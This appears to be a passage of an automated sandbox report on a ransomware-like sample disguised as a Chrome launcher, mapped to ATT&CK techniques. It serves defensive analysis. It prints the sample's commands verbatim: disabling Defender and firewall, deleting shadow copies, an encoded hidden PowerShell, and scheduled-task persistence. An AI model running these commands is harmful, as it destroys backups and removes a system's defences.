wrote to memory of 3964 4652 theguide.io_chrome.exe 143 PID 4652 wrote to memory of 4620 4652 theguide.io_chrome.exe 144 PID 4652 wrote to memory of 2256 4652 theguide.io_chrome.exe 145 PID 4652 wrote to memory of 1252 4652 theguide.io_chrome.exe 153 PID 4652 wrote to memory of 4292 4652 theguide.io_chrome.exe 156 PID 4652 wrote to memory of 4480 4652 theguide.io_chrome.exe 158 PID 4652 wrote to memory of 3908 4652 theguide.io_chrome.exe 159 PID 4652 wrote to memory of 1008 4652 theguide.io_chrome.exe 162 PID 4292 wrote to memory of 5040 4292 net.exe 164 PID 6016 wrote to memory of 3856 6016 cmd.exe 165 PID 4612 wrote to memory of 3928 4612 cmd.exe 166 PID 3760 wrote to memory of 5700 3760 cmd.exe 167 PID 5808 wrote to memory of 2896 5808 cmd.exe 168 PID 3932 wrote to memory of 1308 3932 cmd.exe 169 PID 3052 wrote to memory of 4116 3052 cmd.exe 170 PID 3928 wrote to memory of 3448 3928 net.exe 171 PID 2176 wrote to memory of 6036 2176 cmd.exe 172 PID 2176 wrote to memory of 3096 2176 cmd.exe 173 PID 4676 wrote to memory of 5628 4676 chrome.exe 174 PID 4676 wrote to memory of 1104 4676 chrome.exe 181 PID 4676 wrote to memory of 2728 4676 chrome.exe 182 PID 4676 wrote to memory of 6004 4676 chrome.exe 183 PID 4676 wrote to memory of 2856 4676 chrome.exe 198 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\theguide.io_chrome.exe"C:\Users\Admin\AppData\Local\Temp\theguide.io_chrome.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4652 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://theguide.io2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4676 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffca9d7c728,0x7ffca9d7c734,0x7ffca9d7c7403⤵PID:2064
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1676,i,9971318143308950363,4590515525497768376,262144 --field-trial-handle=1996,i,1465431579796690161,17165936597676740789,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=1972 /prefetch:23⤵PID:5784
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1560,i,6589990763475086096,4380652301596255556,524288 --field-trial-handle=1996,i,1465431579796690161,17165936597676740789,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2240 /prefetch:33⤵
- System Time Discovery
PID:416
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2356,i,11945312039736543818,929998338444818158,524288 --field-trial-handle=1996,i,1465431579796690161,17165936597676740789,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2528 /prefetch:83⤵PID:5600
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3144,i,7168261880393752160,3372963116209470384,2097152 --field-trial-handle=1996,i,1465431579796690161,17165936597676740789,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3140 /prefetch:13⤵PID:3284
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3156,i,995284391089915099,3474369108466175552,2097152 --field-trial-handle=1996,i,1465431579796690161,17165936597676740789,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3176 /prefetch:13⤵PID:6092
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4296,i,14613230995628611211,7422139267774439016,2097152 --field-trial-handle=1996,i,1465431579796690161,17165936597676740789,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4300 /prefetch:23⤵PID:1976
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4676,i,10215425852844829201,10203159915750585765,2097152 --field-trial-handle=1996,i,1465431579796690161,17165936597676740789,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4688 /prefetch:13⤵PID:1608
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5552,i,11823629020369135128,11765747364410666559,524288 --field-trial-handle=1996,i,1465431579796690161,17165936597676740789,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5564 /prefetch:83⤵PID:5628
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3684,i,2814780442721634581,12635408300670772820,524288 --field-trial-handle=1996,i,1465431579796690161,17165936597676740789,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5552 /prefetch:83⤵PID:1104
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5592,i,12065211750413487161,16095174961520570983,524288 --field-trial-handle=1996,i,1465431579796690161,17165936597676740789,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4280 /prefetch:83⤵PID:2728
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5568,i,414843485975029552,4047049629002301683,524288 --field-trial-handle=1996,i,1465431579796690161,17165936597676740789,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5580 /prefetch:83⤵PID:6004
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=3628,i,7292695716209349932,10460509061778719999,262144 --field-trial-handle=1996,i,1465431579796690161,17165936597676740789,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5436 /prefetch:83⤵PID:2856
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4808
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:1932
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:4480
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:3404
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:884
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:5156
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:3952
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:5640
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:4004
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:5596 -
C:\Users\Admin\AppData\Local\Temp\theguide.io_chrome.exe"C:\Users\Admin\AppData\Local\Temp\theguide.io_chrome.exe"3⤵PID:720
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:5424
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:5376
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:6016
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:6076
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵PID:1124
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\theguide.io_chrome.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5768
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\theguide.io_chrome.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2184
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:6056
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:2176 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:6036
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵PID:3096
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:3052 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:4116
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:3760 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
PID:5700
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:6016 -
C:\Windows\system32\whoami.exewhoami3⤵PID:3856
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4612 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:3928 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:3448
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5808 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:2896
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:3932 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:1308
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\theguide.io_chrome.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3964
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵PID:4620
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:2256
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵PID:1252
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:4292 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:5040
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:4480
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:3908
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:1008
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:924
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2632
-
C:\Users\Admin\AppData\Local\Temp\theguide.io_chrome.exeC:\Users\Admin\AppData\Local\Temp\theguide.io_chrome.exe1⤵PID:4016
-
C:\Users\Admin\AppData\Local\Temp\theguide.io_chrome.exeC:\Users\Admin\AppData\Local\Temp\theguide.io_chrome.exe1⤵PID:4268
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:5436
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20260508_014354.jpg
- Size 113KB
- SHA256 2dbfcdfea70900e2e183fdb0dfa93fb07fdfe10ace78bbf9c152dac41aa4d317
- MD5 e9a4296485e6edbf779d4eb03f315701
- SHA1 5417c1562725a725f6b187b8fdae8f7cd251e546
- SHA512 7423762962d31b6b3f600ebe5cd381ec9b2d7cca9b195662acd1454444c9a650e9c269a4c6a0dca585e1548b157c36378b083becd88a9191c384951dd59c2ecc
- SSDEEP 1536:IidrRRRRRRRRRRRz8aJtRJMMu1KEHNp000000000+5sIJWn9dV8PSI+AFdihLsIs:NJPJeXHf000000000+/k9dVY/uIDl
- TLSH T181B3FD078C0C9A83A12C53F9BD070DBC3E1A6B1CED567AFF05264EDA3E615520C9A47B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\invoice_1.pdf
- Size 68KB
- SHA256 1ceea8f5089f27a71e5427d13bd39b331d854a23f51bff17d3d9084900461ae4
- MD5 198a8a6cb7a6e74af407e076a09f9e7d
- SHA1 a2d67df3f264b310eb99f0ca8c15cb0a782463bb
- SHA512 7fa9513c39da0d4020fc367205edfd0a8ee34d03ed9a52ce039f1d933cd1832f4500fec90136c7b1fadbfaca0b06dae07ff5709d455d88c46f43846a432d4bd8
- SSDEEP 1536:FBU/YQ533h3RFbU2WidFp7t0R0UQY0Y09uIeVE6ERzuPBJA8ezplLRSku1uJ6VcQ:FBUnp3hU2WCF+0UQyMuI5NuazplCIl5+
- TLSH T101632C364B23FDD0677F2D80E06039561C883F3797B66A7CFAC50DA618A6984DF2E458
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 67KB
- SHA256 6d99fcd55765bc624826907c514d56f6e93a6bbcaa2671e12b8d7b275931b340
- MD5 13743619945a1bb33acd7db839004b9e
- SHA1 ae786856c1c0ad45d09edfb8d5f0c6e724d7e161
- SHA512 33b4f4feedccd6c6ed1501c4a0cb1ca73339e600070565e576fd3e4f2cd905e957c414b29cd4920f77df36e4644db9008712a832fd97ca3be027063c8912dbcf
- SSDEEP 1536:lBU/YQ533h3RFbU2WidFp7t0R0UQY0Y09uIeVE6ERzuPBJA8ezplLRSku1uJ6VcL:lBUnp3hU2WCF+0UQyMuI5NuazplCIl55
- TLSH T155632C364B23FDD0677F2D40E06039561C883F7797B62A7CFAC50DA618A6984DF2E458
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 414B
- SHA256 dd5a87b115ea5b62a3eabe69edc3b0dee8cb93f77fef4ed19705e3b72cf29107
- MD5 a878eae71a4801073fd7dde5f31606d5
- SHA1 5b86352aa5854c91a178958e22eef68b522203fc
- SHA512 05524a1436f7f9b8e61b628d70163f388706bbd1e532a372814635fd2d8284e63f89808217adb718cee8ca598131280a76dfc8d8a09a689e1e29d5c5a4351a92
- TLSH T185E02BAAC931EC2B14FD176CB4440645E74403962B80498F3E3D820D8FB863E068681C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
- Size 480B
- SHA256 a66371c95993568e6071e1bd74d4fd8e2225166765841170a0f8effd7f95679b
- MD5 6de218ea9df2bf144f59ade37cd056bb
- SHA1 223ca89c61301dc99a6e77072d09c59d80a1e69c
- SHA512 ab1c8cc0b95715eb59be27ed1797b8492ec7e9b19d0ab05c51aa6d4e900999bfc3db5e27423201dd3e918f9e223ffecad4f0bfc676d48d907997b9ec1109cc29
- TLSH T17FF0DF6A16F01313CBEF1CB630D78D623E3414E01C270E1BA5ED1CBAC102BD70E46906
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
- Size 480B
- SHA256 fed3522c22ecdad056879aeb98d15a5e1ebda7c0a1735b5d3c6fded13763db6a
- MD5 9f858202f825bfffc75cc6030fc52704
- SHA1 985dfeb1eedf7e74b00b4d535ebfafb11d59b037
- SHA512 9e12b39213d98f18f8cfad4a73112d968f647676c5cff46b1c961ce0046370e1c18f07136d3ab8414454933fa7d4a020bd37b92a3ab766bd77b1fd4623e6bf27
- TLSH T14BF0D8165AF02313DFDF1CB6A4E74D653E0525E40C250A1B65AD0C65D0137DB5D86917
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\History
- Size 160KB
- SHA256 30b26a6c5861875d7c82159e1eaa8ba7a00985d6f9c9f8135822aa00458357e8
- MD5 81366df1982893d1ca6a9e05c41765e1
- SHA1 262b9cdf3b8376167aabe946f1f92b9676fd5519
- SHA512 f2b415b75c04e4ec4bf84c18d8f2cd0ad77115faa974da4036e817eb9c9966d7a10ed79dcff13c9bdd97ac0e21723c6d0ce7f28533438ffe0b595b2db0d4c56a
- SSDEEP 96:RPBuPBZr/uejzH+bF+UIYysX0fxQp97YEHt/DfLcLq2piRk/E0R9:lBoBZr/tH+bF+UI3iWGVYWNkqp3q
- TLSH T177F3FA1E5F243312CDBD927A69E648B35D7CF03F87236AC56C6114B5CEE2652B02C4BA
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 2KB
- SHA256 274a58705274dd82b25de93aaafe047e8d99a9a84e52daa26017abb06b750a29
- MD5 258d10ac6066a68c67c0ee9774e95fb2
- SHA1 80617380c04996bc79a26185f9a7528b21241cfe
- SHA512 925c4255253a9eccdb6f92a04146137fd98825169b3e3d112a2d227c10110d42278c7a890cd20c0f8b2a0277e7fddb0dfb892d2cf8fc25b1153b15206a1abc3d
- TLSH T12351ADF7D3E8977D890196E996253F2FCD6D0A14621C7C57C8D9AE0B53F18B2D20024E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 7KB
- SHA256 9bbda7da056e72733dfbb9db9a07dbd0ed752496a9812cba049a68b287b44c07
- MD5 7cc995b02ada69d25239c903b4251a85
- SHA1 5809e3835dc258a7049cb8f4153d0c82cc4fe770
- SHA512 4b3e9c1397c7c4b5e694583a347bf0a803d4dfd6310d2c36fd509c054f744e452e9f2a0134faba30e5ff9d2b912d94aad7924c7e9a2b4b63eab9fce985c8d49a
- SSDEEP 192:DuFiHTE6viaIaEg7woNwVeWibJpFVcGXy/zRiDXT2GQ7:DuFizE6viaIaEg7woNwVeWibJpFVcGXq
- TLSH T156E1A1F3C3E88A7D982515F4AA542E1BCD590928432C3C2AC9E5EF0B67F1971E21074E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 12KB
- SHA256 d6e978a546ee2949fabb0349cb93464b49501184d70420a1d173456b2e0227ee
- MD5 32d99a43eb1890350f78b466a06e7a50
- SHA1 52f34346ca7368bb941d2cc970dc4bc71e3a2259
- SHA512 10bf8fbe1b6ba62b8d368aae517ed44cd9d824c5a9c83565dde6e5b5fa8d4c39023ca43ddedcb496df510283ca8186dcfb9a3803eac7d1309e691a7ecc91bbe9
- SSDEEP 192:VOROfUl6X1aPi+dJOev7tYpAPRp2h5l89CHsb+WNnMfH8L2uyX9RKHVyIsnAUge:VOROfG6Foi3ahYUXeY4wCU2tqhe
- TLSH T13D42D72EB914257B9CC7C229FD657B1BEBF6102521C81E98E7FC892C24DB9CD221701B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
- Size 16KB
- SHA256 3829765c0622129a90eb3c0ba68a4d4ee12030f193436ad93a70f1a08cf8d17d
- MD5 a5319b5fd2d53f479f8cfef573de9578
- SHA1 dd1e8249173bddf0360d90040c5a198dd1ca250d
- SHA512 fc91d408cf4a93563b5a8c77d06830020b4e9506fe241c9186438e0a619d36079c82d62c105ce715ea0934ae26954cc411af0aa616495647906297b2057f8b83
- SSDEEP 384:S0jWV7KxkXqKf/pUZNCgVLH2Hfgslvy7pLuLc8cdXODW1+ErU3IQHGoHkrk:SYWV7KxkXqKf/pUZNCgVLH2Hfgshy7pc
- TLSH T13072E8676C4C99370F94C6CCDC167E4FADB6024B65ED886483FA582A03D5ACB120A1FB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\5e77f38100e97b24c004106c78513a47f9abcbc8\index.txt
- Size 144B
- SHA256 844b12a5d4b8bee83cbb915d44456c300eaf9c0abb67b58005fa0c2b29df6553
- MD5 fa82225ccfec4eec54b4a60a8682e0fe
- SHA1 ba69c57fbed138703179d7465caedbead7ac6780
- SHA512 1cf04874bcc985ebe510fa0836b348849d577ba35073ba911d47ab5a33658527b5811d622123157cb46cec5d5b8f9fe9480ae5b8fd012536fd4214ce5d018892
- TLSH T113C08C5BA2390049F689D7C60C1428808F5A4DA885D68C904110B097A031022C0C5D94
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\5e77f38100e97b24c004106c78513a47f9abcbc8\index.txt
- Size 137B
